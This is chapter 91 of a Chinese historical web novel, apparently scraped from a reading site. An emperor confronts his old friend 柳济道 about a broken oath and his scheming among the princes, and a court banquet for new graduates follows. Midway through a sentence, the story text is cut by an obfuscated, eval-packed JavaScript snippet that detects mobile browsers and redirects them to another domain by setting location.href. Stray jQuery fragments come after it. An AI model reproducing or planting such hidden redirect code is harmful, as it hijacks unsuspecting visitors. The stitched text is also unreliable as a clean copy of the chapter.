91. 第九十一章 柳济道

作品:《朱明承夜

    柳济道不说话。


    “你明知道我不喜欢这些,也就你,还有阎野放敢来找我的不痛快。”


    “他不敢。”


    “但你敢。”


    “陛下不喜欢的东西多了去。”


    圣上霎时沉默,出神好久才怅然道:“可我已经是天子了。”


    “但你依然没有办法。”


    他鲜见地颓然:“柳初服,你总是爱说真话。”


    柳济道也有些颓然:“只有你愿意听。”


    圣上望着他,“那你说句真话,告诉我,他们为什么一个个都要走?”


    “这不是走,是逃。”


    宛若心上又被插了一刀,圣上阖眼不敢看柳济道的眼睛,“你说,这是为什么?”


    “人心易变。”


    圣上惨怆而笑:“因为我变了吗?好像当了天子,真的越发多疑,儿子、妻子、臣子,好像每个人都包藏祸心,但怎么办?你不在,他们都要逃,我只有一个人,我已经极力克制这种怀疑了,我也不曾威胁过他们的安全。”


    他探身质问柳济道:“我变了吗?我真的变了吗?当年弱冠,我们对着南海盟誓,只为此志、此生不渝,你、郭明修、梅痴绝、阎野放,你们每个人都信誓旦旦!梅痴绝是做到了,郭明修还在朝野,阎野放却逃了,而你,身落江湖二十余年!若非我给你写信,你连去年宫变、魏王谋反都不知道!”


    柳济道眉峰聚拢,兀自摇头。


    “你摇什么头?芝兰生于深林,不以无人而不芳,君子修道立德,不谓穷困而改节!这是你常说的,你都忘了吗?”


    “没忘。”


    “柳济道,说真话。”


    “我没忘。”


    “说真话!”


    “我没忘!”


    圣上有些乏力地坐回去,“现在的你和忘了有什么区别?”


    他仰头叹息:“阎野放,一个眼里只有家国天下的人变成了个‘琴痴’,一个‘情痴’,推推搡搡南巡,只为了和他的夫人告老还乡。郭明修心思重,怕我猜忌他,怕他们家成为众矢之的,交了兵权,捞了个工部尚书就想要养老。他们早就忘得干净了!只有梅痴绝,只可惜他年寿不永,好在他儿子像他,特别像他,我总算看见了一点希望。”


    “至于你柳初服,我记得曦既十一岁时你就把他送到了化隆,从此以后,他都是卜栾枝和霍伊兰带大的。这一对阎王走的路子,比我们刚开始还激进,和你蛮像的,没想到他们两个带出来的孩子,却不偏不倚要走‘正道’——柳初服,你有后悔过吗?没有亲自养他。”


    “我从不后悔。”


    圣上苦笑:“我总以为你作为父亲,还是心疼他的,自己吃过的苦,便不希望自己的儿女再吃一次。”


    “有些苦,是不得不吃的。”


    “荒唐的言论。”


    “可陛下,你不也是这么想、这么做的?”


    想到了故太子沈明载,圣上沉默下去。


    柳济道却摇头:“你觉得自己只有一个妻子,只有一双儿女;先帝也是这么认为的,除了郅后,无人堪配他的妻子,除了懿孝太子,无人堪配他的儿子。”


    “你在咒我。”


    柳济道再摇头:“郅后死了,不论是谁都可以是皇后,懿孝太子走了,不论是谁都可以当太子。陛下你定不愿让兖国公主如鲁国长公主般嫁给权力,也不愿东宫某日被兄弟谋篡,可先帝什么也不管,便是继后谋害你,继后谋害了那么多皇子公主,他都不在乎。陛下不是懿孝太子,这种无父无母的日子,陛下过过了,觉得是什么滋味?”


    圣上眼眶微红。


    “其他皇子亲王,他们也不是坤宁所出的昭文太子,陛下尝过的滋味,他们也都尝了。所以,我从不关注朝廷里又发生了什么事情,又是魏王造反还是燕王叛乱,我都不需去问,因为这些事必然都会发生,他们都会像当年的兖王一样。”


    “柳初服,你还是不懂我。”


    “我如何不懂?先帝是放任,陛下是纵容!因为你还需要魏王身后的一群门阀和赵王背后的另一群世家去斗!你扶持他们就是为了让他们杀得两败俱伤!现在魏王倒了、燕王灭了,你不会纵容赵王一家独大,你还要扶持吴王,若是吴王不中用,你还要扶持秦王晋王——”


    “你既然明白……”


    “可你想过没,他们都是那么聪明的孩子,如何看不出世家已经烂穿了,他们为什么还要心甘情愿地被门阀绑着就死?”


    朔吹凛凛,他们都不自主打了一个寒颤。


    “因为恨。”


    圣上狂笑起来:“有‘恨’才好啊!才能不死不休地斗下去!才不会想到退缩。”


    “可他们恨的人,是你啊!”


    圣上霍然站起,“那又如何?我难道就不恨吗!”


    他戬手指着门外一片静夜,朝柳济道怒吼:“那是紫微宫!我已经赔进去了一个儿子!我唯一的儿子!为了当年的誓言已经死了!”


    “可赵王魏王,他们是棋子,但他们不也是你的儿子?”


    “不是!”圣上冲到了门口,转身朝着柳济道喊道:“他们从来都不是我的儿子!”


    背着光,柳济道看不起他的脸,只听承天殿上永远威严的声音,此时也如卷地的黄叶,一踩就碎成片,“为了这个誓言,我的妻子、我的儿子,他们都死了!全都死了!我女儿也差点死了!全是为了这个誓言!可你们呢?柳济道,你是个逃兵。”


    “你怎么有脸来劝我收手?为山九仞,功亏一篑,说的就是你!你可以不要功名,可以连儿子都不要了,你也可以不认我这个皇帝,可你怎么能抛弃你的志?你的道?恩师楼太傅的教导?你从来是认准了就不改的性子,但再崚嶒的石头也被磨平了,你就是这样的石头!被悠闲的日子消磨去了志气!”


    “你就是胆小!你就是害怕!你就是怕自己也变成我这副样子!变得六亲不认、被权势人心逼得走火入魔成了一个怪物!”


    “什么唯愿当歌对酒,什么月光长照金樽,什么美好追求,都他妈的是借口!没有我,没有我这种怪物,你他妈过什么太平日子!我连儿子都不要了,就为了这个,你们现在却来劝我回头,回什么头!没了柳晢,你还有别的儿子,你还能回头,我回什么头!我有什么脸回头!”


    柳济道沉默无以应对。


    “我还怎么回头?柳济道,你个没心的逃兵!”


    柳济道闭眼,不忍见君王垂首泪长流。


    过了很久,他问:“陛下在想什么?”


    圣上抹了一把脸,“如果鹇儿是男孩子就好了。”


    柳济道望向门外天边云台月,广寒中无边的孤独随之而来。碧海青天夜夜心,这是一种永世难解的孤独,是一死了之也不能化解的孤独,现在就坠下云端落在了他们身上。当年送走柳曦既,他也未曾皱过眉头,当年决定永不入仕,他也未曾痛过心。现在他望着他的背影,他颓丧无助的背影,顿觉五脏六腑备受锥心之痛。


    他整齐衣冠,起身郑重下拜,“陛下应该庆幸,她不是与太子一样的男孩。”


    “柳济道,你失望了。”


    圣上坐在门槛上,转头看他,“我听说你与从一法师往从甚密,你有羁绊,没法出家,但了断尘俗、静扫琴台也是条出路。”


    柳济道朝他磕了一个响头。


    “你从不说假话,你觉得,我能成功么?”


    柳济道直起身郑重道:“陛下也是矢志不渝之人,有志者,事竟成。”


    **


    升平二十六年三月十五,曲江。


    由于去岁士子闹事冲宫门,各衙司都吃了黜落,于是今年都打起十二分精神,会试与殿试格外顺利,传胪游街,簪花授官,一系列流程全都顺利走完,众人才稍稍舒了一口气。


    每次放榜过后,下饺子、挂腊肉接踵而至,但独独这次,让三法司连带着京兆府都精疲力尽。


    郇寰在刑部过夜的第十五个清晨,郇杭才捧着新衣、驾了马车,来接他回家。


    郇寰火气很大,收拾好衣裳就被塞进了马车,躬身掀帘而入时,就看见妆容妥当的沈明枳打了个哈欠,笑着朝他挑眉,“脸色这么差,看来郇大人这些天休息的不好。”


    郇寰在她对面坐了下来,原来宽敞的车厢一下子逼仄起来,但郇寰的心情却反倒敞


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14954323|142272||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    亮起来:“殿下的精神不错,看来休息得很好。”


    沈明枳笑了笑,再打了一个哈欠。


    郇寰起身挤到她身边,将她的脑袋掰靠到自己肩上,不妨她别开脸,拇指蹭过她涂了口脂的嘴唇,“困就再眯会儿,到了曲江我再叫你。”


    沈明枳感到别扭,但扭不过郇寰。当她第不知多少次即将安睡的时候,郇寰轻轻唤了一声,一个激灵,她醒了过来。


    车马已经堵得不像样了。为防误了开宴的时辰,郇寰打算带着沈明枳走上一小段路。


    三月的微风还带着沁人心的凉意,沈明枳一冷一热下打了个喷嚏,正巧被笑嘻嘻的临川看见了。


    张仪宾带着一对儿女朝夫妇二人还未见完礼,郇寰就被临川挤开,沈明枳就被临川独霸。郇寰没来得及表达下他这个驸马的不满,就被临川赶苍蝇似地赶走,挽着沈明枳一步三蹦地跑了。


    见临川胖了一圈的脸蛋,沈明枳扯了下嘴角:“你日子过得挺滋润的?”


    临川眉飞色舞:“那当然!我悄悄把他家边上的那栋宅子买了下来。”


    沈明枳无言以对。难怪这丫头很久没有来烦自己了,原来是去和凌云重当“邻居”了。


    临川压低声,兴奋给她讲新科进士们“乏善可陈”的三两私事秘闻,不料刚入了席面,就与离席将出的柳曦既迎面相对。


    沈明枳笑着扯了扯得意忘形的临川与之见礼,柳曦既一一还礼,神色不见松快,眼下的两抹青紫突兀地现在一张微白的脸上。


    待人走远了,临川笑望着柳曦既的背影捅了捅沈明枳问道:“柳大人是哪一年的状元来着?”


    升平八年。


    沈明枳没有回音。临川也不是真要问这个,她抚掌感叹:“连中三元!国朝也就这一个吧!”


    沈明枳淡淡应了一声,找了位子坐了下来,临川占了郇寰的位子毫无愧色,朝着水榭上三五成群的年轻进士们指指点点,不一会儿困惑地挠挠头:“啧啧,鹇儿,你分得清梅三、梅四吗?”


    沈明枳抬头一张望,见今年的状元和榜眼正被一众老、少男人围在中间,不待她细细分辨那一模一样的五官中截然相反的神采,窦晴柔就携长英公主从外面前呼后拥地径直朝她们走来。


    临川见了她们就没有好脸色,窦晴柔也很不想与之多话,倒是长英,就直接坐到了沈明枳身边,没注意那位子是留给姗姗来迟的邕国公主夫妇,不一会儿就被窦晴柔叫走。


    “这小妮子倒挺喜欢向你学习呢。”


    沈明枳冷冷扫了临川一眼:“不该说的回去再说。”


    临川凑上来笑:“我还以为你要训‘不该说的不要说’呢!”


    吃了沈明枳一记眼刀,临川撂下了话题,重新聊起了梅三梅四:“哎,梅家真是多才子!一甲进士都齐全了。”临川掰着手指:“你看,老三梅寻春是状元郎!老四梅依径是榜眼!他们家的大哥梅如故倒只是个探花。啧啧,世上今人胜古人!”


    沈明枳眼皮一跳,内心腹诽:你是不知道梅如故这个探花郎的含金量,他那一科的状元可是柳曦既,榜眼是那个传言三岁能诗、五岁能文、七岁能赋、九岁通晓四书论遍古今的神童华嵘。


    梅家兄弟本是三年前就可参加会试,但因为入秋梅老夫人病逝被迫还乡。至于梅如故,因着不是父母丧,不必去官,故而还任临川知府。


    此时,正当临川想再度发表一下对梅家三才子的崇敬时,郇寰来赶人了,随之而来的还有圣驾将至的唱和声。临川没法,只能让了位。听完圣上一番客套说辞,与几位大儒祝完酒后,郇寰这才在召见新科进士的当口寻到机会和沈明枳说说话:“你们方才在聊什么有意思的事呢?”


    沈明枳放下酒盏,目光从一甲三人中一个清瘦的年轻人移向一前一后走上来拜谢皇恩的梅家兄弟:“梅家一甲三人都齐全了。”


    郇寰轻轻笑:“这倒是罕见的美谈,梅阁老泉下有知也含笑。”


    沈明枳忽记起,小时候听梅如故随口提过一句,梅痴绝也是榜眼。


    郇寰端着酒盏与对面敬酒的同僚遥遥应和,不由得又笑了:“唉,我也就只能坐这儿吃酒了。”